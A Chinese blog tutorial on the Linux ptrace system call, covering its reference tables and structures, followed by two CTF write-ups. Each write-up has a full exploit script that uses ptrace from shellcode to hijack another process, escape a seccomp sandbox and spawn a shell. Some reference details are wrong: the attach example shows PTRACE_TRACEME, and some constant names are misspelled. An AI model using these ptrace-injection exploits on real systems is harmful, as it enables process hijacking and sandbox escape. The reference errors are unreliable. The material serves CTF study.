ptrace浅析

浅析ptrace系统调用

一、ptrace系统调用基础

1. 核心使命:观察和控制线程执行

在类 Unix 操作系统中,ptrace(process trace,进程追踪)系统调用是一项基础而强大的机制。它为单个进程(被称为”追踪者“,tracer)提供了一种能力,使其能够深入地观察并控制另一个进程(被称为”被追踪者“,tracee)的执行。

ptrace 的核心功能涵盖了:

  • 检查并修改被追踪者的内存和寄存器
  • 拦截其发起的系统调用
  • 管理投递给它的信号

这一机制的主要且合法的应用场景包括:

  • 实现用户空间的调试器(如 GDB)
  • 系统调用追踪工具(如 strace)

2. 追踪者-被追踪者关系:一种基于线程的范式

在 Linux 系统中,一个关键且常常被误解的概念是:ptrace 的操作对象是线程(thread),而非进程(process)

  • 在 ptrace 的语境下,”tracee” 始终指代一个独立的线程ID(TID),绝非一个可能包含多个线程的进程ID(PID)
  • 在一个多线程进程中,每个线程都可以被独立地附着到一个(可能不同的)追踪者,或者完全不被追踪

这种基于线程的粒度赋予了 ptrace 极大的灵活性,使其能够支持复杂的调试场景,例如在多线程应用中只追踪一个出现问题的特定线程,而让其他线程不受干扰地继续运行。

3. 基础交互循环

所有基于 ptrace 的工具都遵循一个基础的交互模型:

  1. 追踪者通过 ptrace() 系统调用向内核发出指令
  2. 但它不通过 ptrace() 的返回值来获知被追踪者状态变化
  3. 而是依赖 waitpid() 来接收来自内核的通知

当追踪相关事件在被追踪者身上发生时:

  • 内核立即暂停被追踪线程执行,将其置于”追踪停止”(ptrace-stop)状态
  • 内核通过 waitpid() 唤醒追踪者,并返回状态值
  • 追踪者解析状态值,理解停止原因

在被追踪者处于停止状态的时间窗口内:

  • 追踪者可以安全地使用其他 ptrace 请求检查寄存器、读写内存
  • 完成操作后,必须调用重启类 ptrace 请求(如 PTRACE_CONTPTRACE_SYSCALL)恢复执行

核心交互循环ptrace(重启) → waitpid(等待事件) → ptrace(检查/修改)

这种交互模型揭示了 ptrace 的根本特性:

  • 它是一种同步的、事件驱动的机制
  • 但其事件粒度相对较粗
  • 每次交互都强制被追踪线程进入”停止-运行”循环
  • 性能问题根源:频繁的上下文切换

对于一个被拦截的系统调用,至少需要四次上下文切换:

  1. 被追踪者进入内核
  2. 内核切换到追踪者
  3. 追踪者返回内核
  4. 内核恢复被追踪者

二、 建立与管理追踪关系

1. 主动追踪:使用 PTRACE_TRACEME 的 fork/execve 模型

这是追踪新进程的经典模型,常用于 strace ./program 这样的场景:

  1. 追踪者(父进程)调用 fork() 创建子进程
  2. 子进程调用 ptrace(PTRACE_TRACEME, 0, NULL, NULL) 向内核表明它愿意被其父进程追踪
  3. 子进程调用 execve() 加载并执行新程序
  4. 内核在新程序第一条指令执行前发送 SIGTRAP 信号
  5. 追踪者通过 waitpid() 捕获此事件,获得介入机会

2. 被动追踪:附着到正在运行的进程

这种模型被gdb --pid=<xxx> 等工具广泛运用

(1) 经典方法:PTRACE_ATTACH

1
ptrace(PTRACE_TRACEME, pid, NULL, NULL);
  • 向目标进程发送 SIGSTOP 信号,强制进入停止状态
  • 追踪者必须调用 waitpid() 等待停止事件
  • 侵入性:立即且无条件暂停目标线程执行

(2) 现代方法:PRTACE_SEIZE(Linux 3.4 起)

  • 关键区别:不会发送 SIGSTOP,目标继续正常运行
  • 追踪者需显式使用 PTRACE_INTERRUPT 或发送信号暂停目标
  • 非侵入式:适合实现基于事件的监控,无需初始中断

(3) 分析对比使用场景

特性 PTRACE_ATTACH PTRACE_SEIZE
附着行为 立即暂停目标进程 静默附着,目标继续运行
使用场景 传统 暂停-调试 模式的调式 需要监控但不干扰的场景
事件处理 通过 SIGSTOP 识别 使用 PTRACE_EVENT_STOP 语义更加清晰
设计理念 面向调试 面向通用进程监管

设计演进:PTRACE_SEIZE 将”附着”和”停止”解耦,允许追踪者像”潜伏者”一样静默建立监控,仅在需要时介入。

3. 解除关系

1
ptrace(PTRACE_DETACH, pid, null, signal);
  • 终止追踪关系
  • 被追踪者从停止状态恢复,继续执行
  • 关键技巧可通过 signal 参数注入信号
    • ptrace(PTRACE_DETACH, pid, NULL, SIGSTOP) 可使进程保持暂停状态
  • 恢复被追踪者原有的父子关系

三、 X86 架构下的 ptrace 参数详解

ptrace 系统调用原型:

1
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

第一个参数:request(请求类型)

在 X86 架构中,ptrace 请求类型有明确的数值定义。这是最关键的部分,特别是在汇编调用时必须使用正确的数值。

X86 架构下 ptrace 请求常量与数值对应表

请求常量 十六进制值 调用者 PID 参数 ADDR 参数 DATA 参数 备注 内核版本
PTRACE_TRACEME 0X0 Tracee 忽略 忽略 忽略 声明本进程可以被父进程追踪,必须在 execve前调用 1.0
PTRACE_PEEKTEXT 0X1 Tracer Tracee TID Tracee 代码段地址 忽略 读取 staree 代码段内存,返回值为读取的数据 1.0
PTRACE_PEEKDATA 0X2 Tracer Tracee TID Tracee 数据段地址 忽略 读取 tracee 数据段内存,返回值为读取的数据 1.0
PTRACE_PEEKUSER 0X3 Tracer Tracee TID USER 区偏移 忽略 读取 tracee USER 区域(寄存器等) 1.0
PTRACE_POKETEXT 0X4 Tracer Tracee TID Tracee 代码段地址 写入的数据 写入 tracee 代码段内存,成功返回0 1.0
PTRACE_POKEDATA 0X5 Tracer Tracee TID Tracee 数据段地址 写入的数据 写入 tracee 数据段内存,成功返回0 1.0
PTRACE_POKEUSER 0X6 Tracer Tracee TID USER 区偏移 写入的数据 写入 tracee USER 区域(寄存器等) 1.0
PTRACE_CONT 0X7 Tracer Tracee TID 忽略 注入信号 恢复 tracee 执行,0表述不发送信号 1.0
PTRACE_KILL 0X8 Tracer Tracee TID 忽略 忽略 终止 tracee ,发送SIGKILL 1.0
PTRACE_SINGLESTEP 0X9 Tracer Tracee TID 忽略 注入信号 单步执行 tracee ,执行一条指令后暂停 2.2
PTRACE_GETREGS 0XC Tracer Tracee TID 忽略 struct user_regs_struct* 获取通用寄存器,tracee 必须停止 2.2
PTRACE_SETREGS 0XD Tracer Tracee TID 忽略 struct user_regs_strust* 设置通用寄存器,reacee 必须停止 2.2
PTRACE_GETFPREGS 0XE Tracer Tracee TID 忽略 struct user_fpregs_struct* 获取浮点寄存器,tracee 必须停止 2.2
PTRACE_SETFPREGS 0XF Tracer Tracee TID 忽略 struct iser_fpregs_struct* 设置浮点寄存器,tracee 必须停止 2.2
PTRACE_ATTACH 0X10 Tracer Tracee TID 忽略 忽略 附着到正在运行的进程,会发送SIGSTOP 1.0
PTRACE_DETACH 0X11 Tracer Tracee TID 忽略 注入信号 解除追踪关系,0 表示不发送信号,SIGSTOP保持暂停 1.0
PTRACE_GETFPXREGS 0X12 Tracer Tracee TID 忽略 struct user_fpxregs_struct* 获取扩展浮点寄存器 2.2
PTRACE_SETFPXREGS 0X13 Tracer Tracee TID 忽略 struct user_fpxregs_struct* 设置扩展浮点寄存器 2.2
PTRACE_SYSCALL 0X18 Tracer Tracee TID 忽略 注入信号 继续执行,系统调用入口/出口暂停 1.0
PTRACE_SETOPTIONS 0X4200 Tracer Tracee TID 忽略 PTRACE_O_*位掩码 设置追踪选项 2.4.6
PTRACE_GETEVENTMSG 0X4201 Tracer Tracee TID 忽略 unsigned long* 获取事件消息(如新进程 PID) 2.5.46
PTRACE_GETINFO 0X4202 Tracer Tracee TID 忽略 siginfo_t* 获取信号详细信息 2.3.99
PTRACE_SETINFO 0X4203 Tracer Tracee TID 忽略 siginfo_t* 设置信号详细信息 2.3.99
PTRACE_GETREGSET 0X4204 Tracer Tracee TID NT_*类型 iovec* 获取寄存器集合(更通用) 2.6.34
PTRACE_SETREGSET 0X4205 Tracer Tracee TID NT_*类型 iovec* 设置寄存器集合(更通用) 2.6.34
PTRACE_SIEIZE 0X4206 Tracer Tracee TID 忽略 PTRACE_O_*位掩码 非侵入式附着,不会暂停进程 3.4
PTRACE_INTERRUPT 0X4207 Tracer Tracee TID 忽略 忽略 中断正在运行的 tracee 3.4
PTRACE_LISTEN 0X4208 Tracer Tracee TID 忽略 忽略 监听 tracee 状态,不发送信号 3.4

第二个参数:PID(进程/线程ID)

类型:pid_t 32位系统位4字节,64位系统位8字节

关键特性:

  • 在 ptrace 语境中,pid 始终表示线程 ID(TID),而非进程ID
  • 如果传入的是某进程的ID,那么 ptrace 的实际操作进程的主线程
  • 无法直接操作整个进程,只能操作单个线程

第三个参数:ADDR(地址参数)

类型: void*(在系统调用中解释为long

用途:

  • 内存相关操作中指定 teacee地址空间的目标地址
  • 寄存器相关操作中通常被忽略或表示寄存器偏移
  • 信号操作中通常被忽略

X86 特定:在 PEEK/POKE 请求中,addr 是 tracee 的虚拟内存地址

第四个参数:DATA(数据参数)

类型:void*(在系统调用中解释为long)

用途:

  • 输入:向内核提供数据(写入内存的内容)
  • 输出:向内核接收数据(读读取内存结果)
  • 混合:某些请求中既是输入又是输出

X86 特定:在 GETREGS/SETREGS 请求中,data 是指向 user_regs_struct 的指针

相关数据结构定义:

寄存器结构体

1. user_regs_struct(通用寄存器)

用途:通过 PTRACE_GETREGS/PTRACE_SETREGS 获取/设置通用寄存器

X86-64 架构定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct user_regs_struct 
{
unsigned long r15, r14, r13, r12, rbp, rbx, r11, r10;
unsigned long r9, r8, rax, rcx, rdx, rsi, rdi;
unsigned long orig_rax; // 系统调用号/返回值(+0x78)
unsigned long rip; // 指令指针(+0x80)
unsigned long cs; // 代码段寄存器
unsigned long eflags; // 标志寄存器
unsigned long rsp; // 栈指针
unsigned long ss; // 栈段寄存器
unsigned long fs_base; // FS 段基址
unsigned long gs_base; // GS 段基址
unsigned long ds, es, fs, gs; // 段寄存器
};

关键字段说明

  • orig_rax:系统调用号(在系统调用入口处)
  • rip:当前指令指针(程序计数器)
  • rsp:栈指针
  • rax:函数返回值/系统调用号

X86 架构定义

1
2
3
4
5
6
7
8
9
struct user_regs_struct 
{
long ebx, ecx, edx, esi, edi, ebp, eax;
int xds, xes, xfs, xgs;
long orig_eax; // 系统调用号
long eip; // 指令指针
short xcs, xss, xds, xes, xfs, xgs;
long eflags, esp;
};
2.user_fpregs_struct(浮点寄存器)

用途:通过 PTRACE_GETFPREGS/PTRACE_SETFPREGS 获取/设置传统浮点寄存器

X86-64 架构定义

1
2
3
4
struct user_fpregs_struct 
{
__uint128_t st_space[32]; // 80-bit x 8 寄存器
};

X86 架构定义

1
2
3
4
5
struct user_fpregs_struct 
{
int cwd, swd, twd, fip, fcs, foo, fos;
long st_space[20]; // 80-bit x 8 寄存器
};

关键字段说明

  • cwd:控制字寄存器
  • swd:状态字寄存器
  • twd:标记字寄存器
  • fip:指令指针
  • foo:操作数指针
  • st_space:实际的浮点寄存器栈
3.user_fpxregs_struct(扩展浮点寄存器)

用途:通过 PTRACE_GETFPXREGS/PTRACE_SETFPXREGS 获取/设置扩展浮点寄存器(SSE等)

X86-64 架构定义

1
2
3
4
5
6
struct user_fpxregs_struct 
{
__uint128_t st_space[32]; // 80-bit x 8 寄存器
__uint128_t xmm_space[32]; // 128-bit x 16 寄存器 (SSE)
unsigned int padding[24]; // 填充
};

X86 架构定义

1
2
3
4
5
6
7
8
struct user_fpxregs_struct 
{
unsigned short cwd, swd, twd, fop;
unsigned int fip, fcs, foo, fos, mxcsr, reserved;
long st_space[32]; // 80-bit x 8 寄存器
long xmm_space[32]; // 128-bit x 16 寄存器 (SSE)
long padding[56]; // 填充
};

关键字段说明

  • mxcsr:SSE 控制/状态寄存器
  • xmm_space:XMM 寄存器(SSE指令使用)

信号信息结构体

siginfo_t

用途:通过 PTRACE_GETSIGINFO/PTRACE_SETSIGINFO 获取/设置信号详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
typedef struct siginfo 
{
int si_signo; // 信号编号
int si_errno; // 错误码
int si_code; // 信号来源代码

// 以下字段根据 si_code 的值而不同
union {
int _pad[28]; // 保留空间

// kill(), sigsend(), raise() 发送的信号
struct {
pid_t _pid; // 发送进程ID
uid_t _uid; // 发送进程真实UID
} _kill;

// 定时器信号
struct {
timer_t _tid; // 定时器ID
int _overrun; // 超限计数
char _pad[sizeof(__ARCH_SI_UID_T) - sizeof(int)];
sigval_t _sigval;
int _sysid;
} _timer;

// 管道写入到无读取端
struct {
pid_t _pid; // 子进程ID
uid_t _uid; // 子进程真实UID
} _cld;

// 用户空间产生的信号
struct {
pid_t _pid; // 发送进程ID
uid_t _uid; // 发送进程真实UID
sigval_t _sigval;
} _rt;

// 段错误等硬件异常
struct {
void *_addr; // 错误地址
short _addr_lsb; // 地址LSB
union {
struct {
void *_addr2;
ushort _dummy2[3];
} _addr;
struct {
unsigned int _dummy1[3];
unsigned int _dummy2;
} _dummy;
} _bounds;
} _sigchld;

// 其他错误
struct {
void *_addr; // 错误地址
short _addr_lsb; // 地址LSB
void *_lower;
void *_upper;
} _sigfault;

// 系统调用跟踪
struct {
long _call_addr; // 系统调用指令地址
int _syscall; // 系统调用号
unsigned int _arch; // 系统调用架构
} _sigsys;
} _sifields;
} siginfo_t;

常用字段

  • si_signo:信号编号(如 SIGSEGV=11)
  • si_code:信号来源代码(如 SI_USER, SI_KERNEL, SI_QUEUE)
  • si_pid:发送信号的进程ID
  • si_uid:发送信号进程的真实UID
  • si_addr:导致错误的内存地址(对SIGSEGV等)

I/O向量结构

iovec

用途:通过 PTRACE_GETREGSET/PTRACE_SETREGSET 指定数据区域

1
2
3
4
5
struct iovec 
{
void *iov_base; // 数据缓冲区起始地址
size_t iov_len; // 缓冲区长度
};

使用方式

1
2
3
4
5
6
struct iovec iov;
iov.iov_base = &regs; // 指向寄存器结构
iov.iov_len = sizeof(regs);

// 获取寄存器集
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);

NT* 寄存器集常量

用途:通过 PTRACE_GETREGSET/PTRACE_SETREGSET 指定寄存器集类型

常量 用途
NT_PRSTATUS 1 进程状态信息
NT_PRFPREG 2 浮点寄存器
NT_PRPSINFO 3 进程信息
NT_AUXV 6 辅助向量
NT_X86_XSTATE 0x202 x86 扩展状态(包括 AVX 寄存器)
NT_ARM_VFP 0x400 ARM VFP/NEON 寄存器
NT_ARM_TLS 0x401 ARM TLS 寄存器
NT_S390_HIGH_GPRS 0x300 s390 上半部分寄存器

使用示例

1
2
3
4
5
6
// 获取 x86 扩展状态(包括 AVX 寄存器)
struct iovec iov;
iov.iov_base = &xsave;
iov.iov_len = sizeof(xsave);

ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov);

信号值对应表

信号值 信号名称 说明 与 TRACE 的关系
1 SIGHUP 挂起信号(终端断开连接) 通常会被追踪者转发给 tracee
2 SIGINT 中断信号(Ctrl+C) 通常会被追踪者捕获并处理
3 SIGQUIT 退出信号(Ctrl+\) 通常会被追踪者转发
4 SIGILL 非法指令 可能表示 tracee 执行了无效代码
5 SIGTRAP 跟踪/断点陷阱 ptrace 的核心信号,用于通知追踪事件
6 SIGABRT 程序异常终止 可能由 tracee 主动调用 abort() 产生
7 SIGBUS 总线错误 通常与内存访问错误相关
8 SIGFPE 浮点异常 算术运算错误
9 SIGKILL 强制终止 无法被捕获或忽略,追踪者可使用 PTRACE_KILL 发送
10 SIGUSR1 用户定义信号1 可用于自定义通信
11 SIGSEGV 段错误 内存访问违规
12 SIGUSR2 用户定义信号2 可用于自定义通信
13 SIGPIPE 管道错误 向已关闭的管道写入数据
14 SIGALRM 定时器信号 alarm() 定时器到期
15 SIGTERM 终止请求 请求进程正常退出
16 SIGSTKFLT 栈错误 x86 架构特定的信号
17 SIGCHLD 子进程状态变化 追踪子进程时关键信号
18 SIGCONT 继续执行 用于恢复被停止的进程
19 SIGSTOP 停止执行 无法被捕获或忽略,用于暂停进程
20 SIGTSTP 终端停止信号(Ctrl+Z) 通常会被追踪者捕获
21 SIGTTIN 后台进程尝试从终端读取 与终端 I/O 相关
22 SIGTTOU 后台进程尝试向终端写入 与终端 I/O 相关

示例题目分析:

NCTF2022 ezshellcode

先查看题目基本信息

checksec

code

程序非常简单,首先输出了当前进程号,然后mmap了一段可读可写可执行内存并读入shellcode,接着开启沙箱,并关闭了stdin、stdout、stderr,然后执行shellcode

seccomp

沙箱禁用了socket、connect、bind、listen这四个系统调用,阻止用户通过网络通信手段发送flag

首先输出了进程号,而且题目提供的docker start.h如下

1
2
3
4
5
6
7
8
#!/bin/sh
# Add your startup script

echo 0 > /proc/sys/kernel/yama/ptrace_scope

# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

可以看到其中有 echo 0 > /proc/sys/kernel/yama/ptrace_scope

ptrace_scopeLinux 内核 Yama 安全模块中的一个关键参数,专门用于控制系统中 ptrace 系统调用的安全策略

ptrace_scope 的取值与含义

安全级别 允许的操作
0 最宽松 任何进程都可以被相同 UID 的进程跟踪(传统Linux行为)
1 默认限制 仅允许父进程跟踪子进程,或进程需有CAP_SYS_PTRACE能力
2 严格限制 仅允许有CAP_SYS_PTRACE能力的进程使用ptrace(禁用普通用户调试)
3 最严格 完全禁用 ptrace (除非内核特殊配置)

正好本题泄露了PID,所以我们可以在一个进程中调用 ptrace 然后 attach 到另一个卡在 read 系统调用的进程上,然后被在 ptraee 读完 shellcode 之后,直接通过 prtace 来设置寄存器,直接跳转到 shellcode ,从而绕过关闭流。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context(log_level='debug' , arch='amd64', os='linux')

pwnfile = "./pwn"

elf = ELF(pwnfile)
libc = elf.libc

is_remote = 0

if is_remote:
p = remote("localhost", 1234)
r = remote("localhost", 1234)
else:
p = process(pwnfile)
r = process(pwnfile)


if __name__ == "__main__":

p.recvuntil("Pid: ")
pid = int(p.recvline().strip())
print(f"Target PID: {pid}")

# addr = 0x401000
addr = 0x401000


shellcode = shellcraft.ptrace(0x10, pid, 0, 0) # PTRACE_ATTACH
shellcode += shellcraft.ptrace(0x18, pid, 0, 0) # PTRACE_SYSCALL
shellcode += shellcraft.ptrace(0xC, pid, 0, addr+0x500) #PTRACE_GETREGS
shellcode += '''
mov r8,0x401000
mov r9,0x401500
mov r10,qword ptr [r9+0x78]
mov r11,0
cmp r10,r11
je return
mov qword ptr [r9+0x80],r8
'''

shellcode += shellcraft.ptrace(0xD, pid, 0, addr + 0x500) # PTRACE_SETREGS
shellcode += shellcraft.ptrace(0x11, pid, 0, 0) # PTRACE_DETACH
shellcode += '''
return:
mov r12,0x401013
jmp r12
'''
r.send(asm(shellcode))
p.send(asm(shellcraft.sh()))

p.interactive()
r.interactive()

下面来简单解释一下exp

首先 attach 上对应的进程(tracee) shellcode = shellcraft.ptrace(0x10, pid, 0, 0) # PTRACE_ATTACH,然后让 tracee 在 read 系统调用出口处暂停 shellcode += shellcraft.ptrace(0x18, pid, 0, 0) # PTRACE_SYSCALL,然后通过获取寄存器来检测 ptraee 是否成功读入 shellcode ,若成功读入则设置子进程的 rip 为 shellcode 的地址,未成功读入则回到 PTRACE_SYSCALL,最后将寄存器发送给 tracee、detach tracee 就能成功 getshell。

getshell

NepCTF 2025 smallbox

查看题目基本信息

image-20250928003408692

image-20250928003711125

题目逻辑同样很简单,首先 mmap 了一段可读可写可执行的内存,然后fork了一个子进程,并使子进程进入无限死循环,然后读入 shellcode 并加载 沙箱,最后执行shellcode

沙箱信息如下,只允许了ptrace系统调用

但是我们注意到,子进程陷入了无限循环,并没有加载沙箱,所以这道题很明显是要我们利用父进程通过ptrace来劫持子进程的流程

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context( arch='amd64', os='linux', log_level='debug' )

pwnfile = './smallbox'

elf = ELF( pwnfile )
io = process( pwnfile )

if __name__ == '__main__':

shellcode = asm(
'''
mov r14,qword ptr [rbp-0xc]
''' )

"""orw
0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101
0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824
0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102
0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03
"""
# attach
shellcode += asm( shellcraft.ptrace(0x10, 'r14'))

# wait
shellcode += asm(
'''
mov rdi,0x1000
loop:
nop
nop
nop
nop
nop
nop
nop
sub rdi,1
test rdi,rdi
jnz loop
'''
)

# get_regs
shellcode += asm( shellcraft.ptrace(0xC, 'r14', 0, 0xdeadc0de000 + 0x500) )
shellcode += asm(
"""
mov r8,0xdeadc0de580
mov r9,0xdeadc0de000
mov qword ptr [r8],r9
"""
)
# inject
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de000, 0x010101010101b848))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de008, 0x672e2fb848500101))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de010, 0x043148010166606d))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de018, 0xf631d231e7894824))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de020, 0x01ba41050f58026a))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de028, 0x0301f28141010102))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de030, 0x6ad2315f016a0101))
shellcode += asm(shellcraft.ptrace(0x4, 'r14', 0xdeadc0de038, 0x00050f58286a5e03))

# set rip
shellcode += asm(shellcraft.ptrace(0xD, 'r14', 0, 0xdeadc0de000 + 0x500))
# detach
shellcode += asm(shellcraft.ptrace(0x11, 'r14', 0, 0))
shellcode += asm(
'''
mov rdi,0x1000
loop:
nop
nop
nop
nop
nop
nop
nop
sub rdi,1
test rdi,rdi
jnz loop
'''
)

io.sendafter(b'code:', shellcode )
io.interactive()